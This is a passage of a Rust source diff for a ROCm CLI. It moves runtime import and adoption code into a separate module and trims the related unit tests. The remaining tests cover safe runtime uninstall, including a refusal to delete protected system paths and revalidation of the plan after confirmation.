normalize_path_for_compare(left); - let right = normalize_path_for_compare(right); - rocm_core::runtime_paths_equivalent(&left, &right) -} - -pub(crate) fn normalize_path_for_compare(path: &Path) -> PathBuf { - if let Ok(canonical) = path.canonicalize() { - return canonical; - } - if path.is_absolute() { - return path.to_path_buf(); - } - std::env::current_dir().map_or_else(|_| path.to_path_buf(), |cwd| cwd.join(path)) -} - -fn import_runtime_manifest( - paths: &AppPaths, - manifest_path: &Path, - replace: bool, -) -> Result { - let bytes = fs::read(manifest_path) - .with_context(|| format!("failed to read {}", manifest_path.display()))?; - let mut manifest: therock::InstalledRuntimeManifest = serde_json::from_slice(&bytes) - .with_context(|| format!("failed to parse {}", manifest_path.display()))?; - if manifest.runtime_key.trim().is_empty() { - bail!( - "runtime manifest {} has an empty runtime_key", - manifest_path.display() - ); - } - if manifest.runtime_id.trim().is_empty() { - bail!( - "runtime manifest {} has an empty runtime_id", - manifest_path.display() - ); - } - - manifest.read_only = true; - manifest.imported_from = Some( - manifest_path - .canonicalize() - .unwrap_or_else(|_| manifest_path.to_path_buf()), - ); - validate_runtime_manifest_for_activation(&manifest) - .with_context(|| format!("imported runtime `{}` is not usable", manifest.runtime_key))?; - - write_runtime_registry_manifest(paths, &manifest, replace)?; - - Ok(manifest) -} - -pub(crate) fn newest_installed_runtime_manifest( - paths: &AppPaths, -) -> Result> { - // `load_runtime_manifests` already returns newest install first with ties - // broken on the runtime key, so re-sorting here would be a no-op. - Ok(therock::load_runtime_manifests(paths)?.into_iter().next()) -} - -#[derive(Debug, Clone)] -struct AdoptRuntimeRequest { - python_executable: PathBuf, - install_root: PathBuf, - runtime_id: String, - runtime_key: String, - replace: bool, -} - -#[derive(Debug, Clone)] -struct AdoptRuntimeOptions { - python_input: PathBuf, - install_root: Option, - runtime_id: Option, - runtime_key: Option, - channel: Option, - replace: bool, -} - -fn adopt_runtime_from_python_options( - paths: &AppPaths, - options: AdoptRuntimeOptions, -) -> Result { - let (python_executable, inferred_root) = resolve_adopt_python_input(&options.python_input)?; - let probe = therock::probe_rocm_sdk_runtime(&python_executable) - .with_context(|| format!("failed to probe {}", python_executable.display()))?; - let request = infer_adopt_runtime_request( - python_executable, - options.install_root.or(inferred_root), - options.runtime_id, - options.runtime_key, - options.channel, - options.replace, - &probe, - )?; - adopt_runtime_from_probe(paths, request, probe) -} - -fn infer_adopt_runtime_request( - python_executable: PathBuf, - install_root: Option, - runtime_id: Option, - runtime_key: Option, - channel: Option, - replace: bool, - probe: &therock::RocmSdkPythonProbe, -) -> Result { - let install_root = install_root.with_context(|| { - format!( - "could not infer the Python environment folder from {}; pass --root", - python_executable.display() - ) - })?; - let runtime_id = match runtime_id { - Some(value) if !value.trim().is_empty() => { - if let Some(channel) = channel.as_deref() { - let (parsed_channel, _) = parse_therock_runtime_id(&value)?; - let requested_channel = normalize_adopt_channel(channel)?; - if parsed_channel != requested_channel { - bail!( - "--channel {requested_channel} does not match runtime id channel {parsed_channel}" - ); - } - } - value - } - Some(_) => bail!("runtime_id must not be empty"), - None => { - let channel = normalize_adopt_channel(channel.as_deref().unwrap_or("release"))?; - let family = probe - .resolved_target_family - .as_deref() - .or(probe.default_target_family.as_deref()) - .filter(|value| !value.trim().is_empty()) - .context( - "rocm_sdk probe did not report a GPU package; pass --runtime-id explicitly", - )?; - format!("therock-{channel}:{family}") - } - }; - let runtime_key = match runtime_key { - Some(value) if !value.trim().is_empty() => value, - Some(_) => bail!("runtime_key must not be empty"), - None => { - let (channel, family) = parse_therock_runtime_id(&runtime_id)?; - let version = probe - .rocm_sdk_version - .as_deref() - .filter(|value| !value.trim().is_empty()) - .context("rocm_sdk probe did not report a version; cannot name adopted runtime")?; - format!( - "adopted-{channel}-pip-{}-{}", - runtime_key_component(&family), - runtime_key_component(version) - ) - } - }; - Ok(AdoptRuntimeRequest { - python_executable, - install_root, - runtime_id, - runtime_key, - replace, - }) -} - -fn normalize_adopt_channel(channel: &str) -> Result { - match channel.trim().to_ascii_lowercase().as_str() { - "release" => Ok("release".to_owned()), - "nightly" => Ok("nightly".to_owned()), - other => bail!("adopt channel must be release or nightly, got `{other}`"), - } -} - -fn runtime_key_component(value: &str) -> String { - let mut output = String::new(); - let mut last_dash = false; - for ch in value.chars() { - if ch.is_ascii_alphanumeric() { - output.push(ch.to_ascii_lowercase()); - last_dash = false; - } else if !last_dash { - output.push('-'); - last_dash = true; - } - } - let trimmed = output.trim_matches('-').to_owned(); - if trimmed.is_empty() { - "runtime".to_owned() - } else { - trimmed - } -} - -fn resolve_adopt_python_input(input: &Path) -> Result<(PathBuf, Option)> { - let absolute = if input.is_absolute() { - input.to_path_buf() - } else { - std::env::current_dir() - .context("failed to resolve current directory")? - .join(input) - }; - if absolute.is_dir() { - let env_root = absolute.canonicalize().with_context(|| { - format!( - "failed to resolve Python environment folder {}", - absolute.display() - ) - })?; - let python = runtime_python_executable_in_env(&env_root); - if !python.is_file() { - bail!( - "Python executable is missing in {}", - python.parent().unwrap_or(env_root.as_path()).display() - ); - } - return Ok((python, Some(env_root))); - } - if absolute.is_file() { - let inferred_root = infer_python_env_root(&absolute); - return Ok((absolute, inferred_root)); - } - bail!( - "Python executable or folder is missing: {}", - absolute.display() - ); -} - -fn infer_python_env_root(python_executable: &Path) -> Option { - let bin_dir = python_executable.parent()?; - let bin_name = bin_dir.file_name()?.to_string_lossy(); - if bin_name.eq_ignore_ascii_case("Scripts") || bin_name == "bin" { - return bin_dir.parent().map(Path::to_path_buf); - } - bin_dir.parent().map(Path::to_path_buf) -} - -fn adopt_runtime_from_probe( - paths: &AppPaths, - request: AdoptRuntimeRequest, - probe: therock::RocmSdkPythonProbe, -) -> Result { - if request.runtime_key.trim().is_empty() { - bail!("runtime_key must not be empty"); - } - if request.runtime_id.trim().is_empty() { - bail!("runtime_id must not be empty"); - } - let python_executable = absolute_existing_file_path_preserving_symlink( - &request.python_executable, - "runtime Python executable", - )?; - let install_root = request.install_root.canonicalize().with_context(|| { - format!( - "runtime install root is missing: {}", - request.install_root.display() - ) - })?; - if !install_root.is_dir() { - bail!( - "runtime install root is missing: {}", - install_root.display() - ); - } - let (channel, family) = parse_therock_runtime_id(&request.runtime_id)?; - therock::validate_rocm_sdk_runtime_probe(&probe)?; - let version = probe - .rocm_sdk_version - .as_deref() - .filter(|value| !value.trim().is_empty()) - .context("rocm_sdk probe did not report a version; cannot adopt runtime explicitly")? - .to_owned(); - - let manifest = therock::InstalledRuntimeManifest { - runtime_key: request.runtime_key, - runtime_id: request.runtime_id, - channel, - format: "wheel".to_owned(), - family, - family_source: "runtime_id".to_owned(), - version, - install_root: install_root.clone(), - selected_artifact_url: "adopted-read-only".to_owned(), - source_layout_generation: None, - index_url: None, - tarball_file_name: None, - python_launcher: None, - python_executable: Some(python_executable.display().to_string()), - pip_cache_dir: None, - // The probe only reports a CMake path when the `devel` packages are - // present, so it tells us what this pre-existing environment has. - devel: probe.cmake_path.is_some(), - rocm_sdk: Some(probe), - // Adoption does not install torch, so the build is derived from the SDK - // version instead. - sdk_torch: None, - wheel_composition: None, - read_only: true, - imported_from: Some(install_root), - installed_at_unix_ms: rocm_core::unix_time_millis(), - }; - validate_runtime_manifest_for_activation(&manifest) - .with_context(|| format!("adopted runtime `{}` is not usable", manifest.runtime_key))?; - write_runtime_registry_manifest(paths, &manifest, request.replace)?; - Ok(manifest) -} - -fn absolute_existing_file_path_preserving_symlink(path: &Path, label: &str) -> Result { - let absolute = if path.is_absolute() { - path.to_path_buf() - } else { - std::env::current_dir() - .context("failed to resolve current directory")? - .join(path) - }; - if !absolute.is_file() { - bail!("{label} is missing: {}", absolute.display()); - } - Ok(absolute) -} - -fn parse_therock_runtime_id(runtime_id: &str) -> Result<(String, String)> { - let (prefix, family) = runtime_id.split_once(':').with_context(|| { - format!("runtime_id `{runtime_id}` must include a TheRock family suffix after ':'") - })?; - let family = family.trim(); - if family.is_empty() { - bail!("runtime_id `{runtime_id}` has an empty TheRock family suffix"); - } - let channel = match prefix.trim() { - "therock-release" => "release", - "therock-nightly" => "nightly", - other => bail!( - "runtime_id `{runtime_id}` must start with therock-release: or therock-nightly:, got `{other}`" - ), - }; - Ok((channel.to_owned(), family.to_owned())) -} - -fn write_runtime_registry_manifest( - paths: &AppPaths, - manifest: &therock::InstalledRuntimeManifest, - replace: bool, -) -> Result<()> { - let manifest = manifest.clone().normalize_storage_paths(); - let registry_path = runtime_manifest_path(paths, &manifest.runtime_key); - if registry_path.exists() && !replace { - bail!( - "runtime registry entry already exists: {}; pass --replace to overwrite it", - registry_path.display() - ); - } - fs::create_dir_all( - registry_path - .parent() - .context("runtime registry path has no parent directory")?, - )?; - fs::write( - ®istry_path, - serde_json::to_vec_pretty(&manifest) - .context("failed to serialize runtime registry manifest")?, - ) - .with_context(|| format!("failed to write {}", registry_path.display()))?; - Ok(()) -} - -pub(crate) fn recover_setup_runtime_registration( - paths: &AppPaths, - config: &RocmCliConfig, -) -> Result> { - let Some(setup_root) = config - .setup - .therock_venv - .as_deref() - .filter(|path| !path.as_os_str().is_empty()) - else { - return Ok(None); - }; - if !setup_root.is_dir() { - return Ok(None); - } - - let local_manifest_path = setup_root.join(".rocm-cli-runtime.json"); - if !local_manifest_path.is_file() { - return Ok(None); - } - - let bytes = fs::read(&local_manifest_path) - .with_context(|| format!("failed to read {}", local_manifest_path.display()))?; - let manifest: therock::InstalledRuntimeManifest = serde_json::from_slice(&bytes) - .with_context(|| format!("failed to parse {}", local_manifest_path.display()))?; - if manifest.runtime_key.trim().is_empty() { - bail!( - "setup runtime manifest {} has an empty runtime_key", - local_manifest_path.display() - ); - } - if !paths_equivalent(&manifest.install_root, setup_root) { - bail!( - "setup runtime manifest {} points at {}, but setup is configured for {}", - local_manifest_path.display(), - manifest.install_root.display(), - setup_root.display() - ); - } - validate_runtime_manifest_for_activation(&manifest).with_context(|| { - format!( - "setup runtime `{}` from {} is not usable", - manifest.runtime_key, - local_manifest_path.display() - ) - })?; - - if !runtime_manifest_path(paths, &manifest.runtime_key).is_file() { - write_runtime_registry_manifest(paths, &manifest, false).with_context(|| { - format!( - "failed to restore setup runtime `{}` into {}", - manifest.runtime_key, - runtime_registry_dir(paths).display() - ) - })?; - } - Ok(Some(manifest.runtime_key)) -} - -/// The folder setup was configured for and its pip cache — the pair both -/// `examine` forms report. Shared so the two cannot name different folders. -/// -/// An empty configured path counts as unset, matching -/// `recover_setup_runtime_registration`'s own guard: `config.json` is -/// hand-editable, and `managed_pip_cache_dir("")` is a bogus relative path. -pub(crate) fn setup_runtime_paths(config: &RocmCliConfig) -> Option<(&Path, PathBuf)> { - let root = config - .setup - .therock_venv - .as_deref() - .filter(|path| !path.as_os_str().is_empty())?; - Some((root, managed_pip_cache_dir(root))) -} - /// How the CLI names the toolchain state of a runtime. /// /// `rocm runtimes list` reports it per runtime and `rocm examine` reports it @@ -1615,10 +846,6 @@ pub(crate) const fn toolchain_state_text(includes_devel: bool) -> &'static str { } } -pub(crate) fn active_runtime_marker_path(paths: &AppPaths) -> PathBuf { - paths.data_dir.join("runtimes").join("active.json") -} - fn write_active_runtime_marker(paths: &AppPaths, marker: ActiveRuntimeMarker) -> Result<()> { let path = active_runtime_marker_path(paths); fs::create_dir_all( @@ -1645,9 +872,12 @@ fn write_active_runtime_marker(paths: &AppPaths, marker: ActiveRuntimeMarker) -> #[cfg(test)] pub(crate) mod tests { + use std::path::PathBuf; + use super::*; use crate::append_examine_runtime_state; use crate::engine_runtime_select::resolve_runtime_selector_to_exact_key; + use crate::runtime_adopt::{AdoptRuntimeRequest, adopt_runtime_from_probe}; use crate::runtime_install_finalize::{ finalize_successful_sdk_install, render_sdk_install_success, }; @@ -3084,30 +2314,6 @@ pub(crate) mod tests { Ok(()) } - #[test] - fn runtime_import_refuses_to_overwrite_without_replace() -> Result<()> { - let (root, paths) = test_paths("runtime-import-replace"); - let manifest = write_test_pip_runtime( - &paths, - "external-pip-gfx120x-all-7-13-0", - "therock-release:gfx120X-all", - "7.13.0", - 20, - )?; - let exported_manifest = root.join("external-runtime.json"); - fs::write(&exported_manifest, serde_json::to_vec_pretty(&manifest)?)?; - - let error = import_runtime_manifest(&paths, &exported_manifest, false) - .unwrap_err() - .to_string(); - - assert!(error.contains("already exists")); - import_runtime_manifest(&paths, &exported_manifest, true)?; - - let _ = fs::remove_dir_all(root); - Ok(()) - } - #[test] fn runtime_adopt_records_read_only_manifest_from_probe() -> Result<()> { let (root, paths) = test_paths("runtime-adopt"); @@ -3204,162 +2410,6 @@ pub(crate) mod tests { Ok(()) } - /// The other half of the same derivation: an adopted environment that does - /// expose a CMake path has the toolchain, and the manifest must say so or - /// the next `rocm update` would quietly reinstall without it. - #[test] - fn runtime_adopt_records_devel_when_the_probe_finds_cmake() -> Result<()> { - let (root, paths) = test_paths("runtime-adopt-devel"); - let external_root = root.join("external-therock-venv"); - let scripts_dir = external_root.join(if cfg!(windows) { "Scripts" } else { "bin" }); - let python_executable = scripts_dir.join(if cfg!(windows) { - "python.exe" - } else { - "python" - }); - let sdk_root = external_root - .join("Lib") - .join("site-packages") - .join("rocm_sdk"); - let sdk_bin = sdk_root.join("bin"); - let cmake_path = sdk_root.join("lib").join("cmake"); - fs::create_dir_all(&scripts_dir)?; - fs::create_dir_all(&sdk_bin)?; - fs::create_dir_all(&cmake_path)?; - let amdhip = sdk_bin.join(if cfg!(windows) { - "amdhip64_7.dll" - } else { - "libamdhip64.so" - }); - let hipblas = sdk_bin.join(if cfg!(windows) { - "hipblas.dll" - } else { - "libhipblas.so" - }); - fs::write(&python_executable, "python")?; - fs::write(&amdhip, "amdhip")?; - fs::write(&hipblas, "hipblas")?; - - let adopted = adopt_runtime_from_probe( - &paths, - AdoptRuntimeRequest { - python_executable, - install_root: external_root, - runtime_id: "therock-release:gfx120X-all".to_owned(), - runtime_key: "adopted-release-pip-gfx120x-all-7-13-0".to_owned(), - replace: false, - }, - therock::RocmSdkPythonProbe { - import_ok: true, - rocm_sdk_version: Some("7.13.0".to_owned()), - root_path: Some(sdk_root.clone()), - bin_path: Some(sdk_bin.clone()), - cmake_path: Some(cmake_path), - runtime_roots: vec![sdk_root], - bin_paths: vec![sdk_bin.clone()], - library_paths: vec![sdk_bin], - resolved_libraries: vec![ - therock::RocmSdkLibraryProbe { - shortname: "amdhip64".to_owned(), - paths: vec![amdhip], - }, - therock::RocmSdkLibraryProbe { - shortname: "hipblas".to_owned(), - paths: vec![hipblas], - }, - ], - resolved_target_family: Some("gfx120X-all".to_owned()), - ..therock::RocmSdkPythonProbe::default() - }, - )?; - - assert!( - adopted.devel, - "a probe reporting a CMake path must record the toolchain" - ); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_adopt_request_infers_ids_from_probe() -> Result<()> { - let (root, _) = test_paths("runtime-adopt-infer"); - let external_root = root.join("external-therock-venv"); - let scripts_dir = external_root.join(if cfg!(windows) { "Scripts" } else { "bin" }); - let python_executable = scripts_dir.join(if cfg!(windows) { - "python.exe" - } else { - "python" - }); - fs::create_dir_all(&scripts_dir)?; - fs::write(&python_executable, "python")?; - - let request = infer_adopt_runtime_request( - python_executable.clone(), - Some(external_root.clone()), - None, - None, - None, - false, - &therock::RocmSdkPythonProbe { - rocm_sdk_version: Some("7.13.0a20260423".to_owned()), - resolved_target_family: Some("gfx120X-all".to_owned()), - ..therock::RocmSdkPythonProbe::default() - }, - )?; - - assert_eq!(request.python_executable, python_executable); - assert_eq!(request.install_root, external_root); - assert_eq!(request.runtime_id, "therock-release:gfx120X-all"); - assert_eq!( - request.runtime_key, - "adopted-release-pip-gfx120x-all-7-13-0a20260423" - ); - assert!(!request.replace); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_adopt_request_honors_nightly_channel() -> Result<()> { - let (root, _) = test_paths("runtime-adopt-infer-nightly"); - let external_root = root.join("external-therock-venv"); - let scripts_dir = external_root.join(if cfg!(windows) { "Scripts" } else { "bin" }); - let python_executable = scripts_dir.join(if cfg!(windows) { - "python.exe" - } else { - "python" - }); - fs::create_dir_all(&scripts_dir)?; - fs::write(&python_executable, "python")?; - - let request = infer_adopt_runtime_request( - python_executable, - Some(external_root), - None, - None, - Some("nightly".to_owned()), - true, - &therock::RocmSdkPythonProbe { - rocm_sdk_version: Some("7.14.0a20260531".to_owned()), - default_target_family: Some("gfx1151".to_owned()), - ..therock::RocmSdkPythonProbe::default() - }, - )?; - - assert_eq!(request.runtime_id, "therock-nightly:gfx1151"); - assert_eq!( - request.runtime_key, - "adopted-nightly-pip-gfx1151-7-14-0a20260531" - ); - assert!(request.replace); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - #[test] fn runtime_uninstall_removes_managed_root_and_clears_active_state() -> Result<()> { let (root, paths) = test_paths("runtime-uninstall-managed"); @@ -3395,716 +2445,4 @@ pub(crate) mod tests { let _ = fs::remove_dir_all(root); Ok(()) } - - #[test] - fn runtime_uninstall_unregisters_read_only_runtime_without_deleting_external_root() -> Result<()> - { - let (root, paths) = test_paths("runtime-uninstall-read-only"); - let manifest = write_test_pip_runtime( - &paths, - "external-pip-gfx120x-all-7-13-0", - "therock-release:gfx120X-all", - "7.13.0", - 20, - )?; - let exported_manifest = root.join("external-runtime.json"); - fs::write(&exported_manifest, serde_json::to_vec_pretty(&manifest)?)?; - fs::remove_file(runtime_manifest_path(&paths, &manifest.runtime_key))?; - fs::remove_file(manifest.install_root.join(".rocm-cli-runtime.json"))?; - import_runtime_manifest(&paths, &exported_manifest, false)?; - let mut config = RocmCliConfig::default(); - - let removed = uninstall_runtime(&paths, &mut config, &manifest.runtime_key)?; - - assert_eq!(removed.runtime_key, manifest.runtime_key); - assert!(removed.read_only); - assert_eq!(removed.removed_install_root, None); - assert!(manifest.install_root.exists()); - assert!(!runtime_manifest_path(&paths, &manifest.runtime_key).exists()); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_uninstall_removes_rocm_cli_managed_custom_prefix_root() -> Result<()> { - let (root, paths) = test_paths("runtime-uninstall-prefix"); - let mut manifest = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-0", - "therock-release:gfx120X-all", - "7.13.0", - 20, - )?; - let prefix_root = root.join("user-chosen-prefix"); - fs::rename(&manifest.install_root, &prefix_root)?; - manifest.install_root = prefix_root.clone(); - let python = prefix_root - .join(if cfg!(windows) { "Scripts" } else { "bin" }) - .join(if cfg!(windows) { - "python.exe" - } else { - "python" - }); - manifest.python_executable = Some(python.display().to_string()); - fs::write( - runtime_manifest_path(&paths, &manifest.runtime_key), - serde_json::to_vec_pretty(&manifest)?, - )?; - fs::write( - prefix_root.join(".rocm-cli-runtime.json"), - serde_json::to_vec_pretty(&manifest)?, - )?; - let mut config = RocmCliConfig::default(); - - let removed = uninstall_runtime(&paths, &mut config, &manifest.runtime_key)?; - - assert_eq!( - removed.removed_install_root.as_deref(), - Some(prefix_root.as_path()) - ); - assert!(!prefix_root.exists()); - assert!(!runtime_manifest_path(&paths, &manifest.runtime_key).exists()); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_uninstall_leaves_folder_on_local_manifest_mismatch() -> Result<()> { - let (root, paths) = test_paths("runtime-uninstall-manifest-mismatch"); - let manifest = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-0", - "therock-release:gfx120X-all", - "7.13.0", - 20, - )?; - fs::remove_file(manifest.install_root.join(".rocm-cli-runtime.json"))?; - let mut config = RocmCliConfig::default(); - - let removed = uninstall_runtime(&paths, &mut config, &manifest.runtime_key)?; - - assert!(removed.manifest_mismatch); - assert!(!removed.read_only); - assert_eq!(removed.removed_install_root, None); - assert!(manifest.install_root.exists()); - assert!(!runtime_manifest_path(&paths, &manifest.runtime_key).exists()); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn ensure_runtime_install_root_rejects_protected_system_path() { - // `prune` (storage.rs) refuses a runtime whose folder sits in a - // protected system location before it ever calls - // `should_remove_runtime_install_root`. A hand-edited or corrupted - // registry entry could point a direct `runtimes uninstall ` - // manifest's `install_root` at the same kind of path while still - // carrying a matching in-tree `.rocm-cli-runtime.json`, slipping past - // `local_runtime_manifest_matches`. The single source of truth for - // "may ROCm CLI delete this folder?" must refuse it too, regardless - // of caller. - let protected = if cfg!(windows) { - PathBuf::from("C:/Windows/rocm-cli-test-runtime") - } else { - PathBuf::from("/etc/rocm-cli-test-runtime") - }; - - let err = ensure_runtime_install_root_is_safe_to_remove(&protected) - .expect_err("protected system path must be refused"); - assert!(err.to_string().contains("protected system location")); - } - - /// The gate above is the last thing between a registry entry and - /// `fs::remove_dir_all`, and the path it is handed is text somebody else - /// wrote. One folder has many spellings, so the refusal has to survive all - /// of them — a trailing separator, a doubled one, a `.`, or a `..` that - /// walks back out of the user's home directory. Each of these names `/etc`. - #[test] - #[cfg(unix)] - fn ensure_runtime_install_root_rejects_every_spelling_of_a_protected_path() { - let home = rocm_core::runtime_home_dir().expect("a home directory"); - let home = home.display().to_string(); - let spellings = [ - "/etc/".to_owned(), - "//etc".to_owned(), - "/./etc".to_owned(), - "/etc/.".to_owned(), - format!("{home}/../../etc"), - ]; - - let accepted: Vec = spellings - .into_iter() - .filter(|text| ensure_runtime_install_root_is_safe_to_remove(Path::new(text)).is_ok()) - .collect(); - - assert!( - accepted.is_empty(), - "accepted as safe to recursively delete: {accepted:?}" - ); - } - - #[test] - fn plan_runtime_uninstall_does_not_mutate() -> Result<()> { - let (root, paths) = test_paths("runtime-uninstall-plan-dry-run"); - let manifest = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-0", - "therock-release:gfx120X-all", - "7.13.0", - 20, - )?; - let config = RocmCliConfig::default(); - - let plan = plan_runtime_uninstall(&paths, &config, &manifest.runtime_key)?; - - assert!(plan.will_remove_install_root()); - assert!(manifest.install_root.exists()); - assert!(runtime_manifest_path(&paths, &manifest.runtime_key).exists()); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_uninstall_revalidation_detects_install_root_change() -> Result<()> { - let (root, paths) = test_paths("runtime-uninstall-revalidate-install-root"); - let manifest = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-0", - "therock-release:gfx120X-all", - "7.13.0", - 20, - )?; - let config = RocmCliConfig::default(); - - let plan = plan_runtime_uninstall(&paths, &config, &manifest.runtime_key)?; - assert!(plan.will_remove_install_root()); - - // Simulate another process relocating this runtime's install root - // while the uninstall confirmation prompt was waiting on the user. - let relocated_root = paths - .data_dir - .join("runtimes") - .join("wheel") - .join("relocated-install-root"); - fs::rename(&manifest.install_root, &relocated_root)?; - let mut relocated_manifest = manifest.clone(); - relocated_manifest.install_root = relocated_root.clone(); - fs::write( - relocated_root.join(".rocm-cli-runtime.json"), - serde_json::to_vec_pretty(&relocated_manifest)?, - )?; - fs::write( - runtime_manifest_path(&paths, &manifest.runtime_key), - serde_json::to_vec_pretty(&relocated_manifest)?, - )?; - - let result = revalidate_runtime_uninstall_plan(&paths, &config, plan); - assert!( - result.is_err(), - "revalidation should refuse a plan whose install_root moved since it was shown" - ); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_uninstall_revalidation_detects_runtime_id_change() -> Result<()> { - let (root, paths) = test_paths("runtime-uninstall-revalidate-runtime-id"); - let manifest = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-0", - "therock-release:gfx120X-all", - "7.13.0", - 20, - )?; - let config = RocmCliConfig::default(); - - let plan = plan_runtime_uninstall(&paths, &config, &manifest.runtime_key)?; - assert!(plan.will_remove_install_root()); - - // Simulate another process re-registering this runtime_key under a - // different runtime_id while the uninstall confirmation prompt was - // waiting on the user. Both the registry entry and the local marker - // are updated together so `install_root_decision` stays `Remove` and - // only `runtime_id` differs from the plan the user approved. - let mut relabeled_manifest = manifest.clone(); - relabeled_manifest.runtime_id = "therock-release:gfx120X-all-relabeled".to_owned(); - fs::write( - manifest.install_root.join(".rocm-cli-runtime.json"), - serde_json::to_vec_pretty(&relabeled_manifest)?, - )?; - fs::write( - runtime_manifest_path(&paths, &manifest.runtime_key), - serde_json::to_vec_pretty(&relabeled_manifest)?, - )?; - - let result = revalidate_runtime_uninstall_plan(&paths, &config, plan); - assert!( - result.is_err(), - "revalidation should refuse a plan whose runtime_id changed since it was shown" - ); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_uninstall_revalidation_detects_was_active_change() -> Result<()> { - let (root, paths) = test_paths("runtime-uninstall-revalidate-was-active"); - let target = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-0", - "therock-release:gfx120X-all", - "7.13.0", - 20, - )?; - let other = write_test_pip_runtime( - &paths, - "release-pip-gfx110x-all-7-12-0", - "therock-release:gfx110X-all", - "7.12.0", - 10, - )?; - let mut config = RocmCliConfig { - active_runtime_key: Some(other.runtime_key), - ..RocmCliConfig::default() - }; - - let plan = plan_runtime_uninstall(&paths, &config, &target.runtime_key)?; - assert!(!plan.was_active); - - // Simulate another process activating the target runtime while the - // uninstall confirmation prompt was waiting on the user. - config.active_runtime_key = Some(target.runtime_key); - config.save(&paths)?; - - let result = revalidate_runtime_uninstall_plan(&paths, &config, plan); - assert!( - result.is_err(), - "revalidation should refuse a plan whose was_active changed since it was shown" - ); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_uninstall_revalidation_detects_clears_default_runtime_change() -> Result<()> { - let (root, paths) = test_paths("runtime-uninstall-revalidate-clears-default"); - let shared_runtime_id = "therock-release:gfx120X-all"; - let target = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-0", - shared_runtime_id, - "7.13.0", - 20, - )?; - let other = write_test_pip_runtime( - &paths, - "release-pip-gfx110x-all-7-12-0", - "therock-release:gfx110X-all", - "7.12.0", - 10, - )?; - let config = RocmCliConfig { - default_runtime_id: Some(shared_runtime_id.to_owned()), - active_runtime_key: Some(other.runtime_key), - ..RocmCliConfig::default() - }; - - let plan = plan_runtime_uninstall(&paths, &config, &target.runtime_key)?; - assert!(!plan.was_active); - assert!( - plan.clears_default_runtime, - "target is the only install with the stale default runtime_id" - ); - - // Simulate another process installing a sibling that shares the - // target's runtime_id while the uninstall confirmation prompt was - // waiting on the user; the default would then survive on that - // sibling instead of being cleared. - write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-1", - shared_runtime_id, - "7.13.1", - 30, - )?; - - let result = revalidate_runtime_uninstall_plan(&paths, &config, plan); - assert!( - result.is_err(), - "revalidation should refuse a plan whose clears_default_runtime changed since it was shown" - ); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_uninstall_revalidation_detects_install_root_decision_change() -> Result<()> { - let (root, paths) = test_paths("runtime-uninstall-revalidate-install-root-decision"); - let manifest = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-0", - "therock-release:gfx120X-all", - "7.13.0", - 20, - )?; - let config = RocmCliConfig::default(); - - let plan = plan_runtime_uninstall(&paths, &config, &manifest.runtime_key)?; - assert_eq!(plan.install_root_decision, InstallRootDecision::Remove); - - // Simulate another process overwriting the in-tree marker with one - // for a different install while the uninstall confirmation prompt - // was waiting on the user; the registry entry (and thus runtime_id - // and install_root) is left untouched, so only install_root_decision - // should differ from the plan the user approved. - let mut mismatched_marker = manifest.clone(); - mismatched_marker.runtime_key = "some-other-runtime-key".to_owned(); - fs::write( - manifest.install_root.join(".rocm-cli-runtime.json"), - serde_json::to_vec_pretty(&mismatched_marker)?, - )?; - - let result = revalidate_runtime_uninstall_plan(&paths, &config, plan); - assert!( - result.is_err(), - "revalidation should refuse a plan whose install_root_decision changed since it was shown" - ); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn confirm_and_revalidate_runtime_uninstall_refuses_state_changed_during_confirmation() - -> Result<()> { - let (root, paths) = test_paths("runtime-uninstall-confirm-and-revalidate-wiring"); - let manifest = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-0", - "therock-release:gfx120X-all", - "7.13.0", - 20, - )?; - let config = RocmCliConfig::default(); - config.save(&paths)?; - - let plan = plan_runtime_uninstall(&paths, &config, &manifest.runtime_key)?; - assert!(plan.will_remove_install_root()); - - // The injected "confirm" closure plays the role of the user - // approving the prompt; it relocates the install root before - // returning, simulating another process racing the confirmation - // exactly as `runtime_uninstall_revalidation_detects_install_root_change` - // does for the leaf function. This exercises the actual - // confirm -> reload-config -> revalidate wiring, not just the - // revalidation function in isolation: if the reload/revalidate - // calls were ever dropped from `confirm_and_revalidate_runtime_uninstall`, - // the call would silently succeed on the stale plan and this - // test's `result.is_err()` assertion below would fail, catching - // the regression. - let relocated_root = paths - .data_dir - .join("runtimes") - .join("wheel") - .join("relocated-install-root"); - let install_root = manifest.install_root.clone(); - let runtime_key = manifest.runtime_key.clone(); - let paths_for_confirm = paths.clone(); - let result = confirm_and_revalidate_runtime_uninstall(&paths, plan, move || { - fs::rename(&install_root, &relocated_root)?; - let mut relocated_manifest = manifest.clone(); - relocated_manifest.install_root = relocated_root.clone(); - fs::write( - relocated_root.join(".rocm-cli-runtime.json"), - serde_json::to_vec_pretty(&relocated_manifest)?, - )?; - fs::write( - runtime_manifest_path(&paths_for_confirm, &runtime_key), - serde_json::to_vec_pretty(&relocated_manifest)?, - )?; - Ok(true) - }); - - assert!( - result.is_err(), - "confirm_and_revalidate_runtime_uninstall must refuse to proceed when the runtime \ - state changed while the confirmation callback was running" - ); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_uninstall_clears_default_runtime_id_for_last_sibling_even_when_not_active() - -> Result<()> { - // 